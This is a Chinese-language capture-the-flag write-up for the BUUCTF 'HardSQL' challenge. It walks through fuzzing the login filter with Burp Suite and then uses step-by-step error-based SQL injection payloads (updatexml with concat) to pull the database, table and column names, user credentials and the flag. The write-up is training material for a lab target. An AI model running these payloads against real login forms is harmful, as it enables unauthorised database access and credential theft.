BUUCTF[极客大挑战 2019]HardSQL

2022/7/23 2:22:42

编程Tag： select concat admin 2019 BUUCTF 0x7e updatexml HardSQL H4rDsq1

本文主要是介绍BUUCTF[极客大挑战 2019]HardSQL，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

1、burpsuit抓包，跑一下fuzz

发现长度为736的都被过滤掉了

2、观察error界面，猜测应该是报错注入

先爆数据库名

1 admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#、
0x7e代表~

得到数据库名geek

3、爆表名

1 admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

4、查列名

1 admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

5、看字段名

1 admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#

1 admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))#

1 admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#

flag{de3b1418-5464-4898-93b1-d426e57889b3}

这篇关于BUUCTF[极客大挑战 2019]HardSQL的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！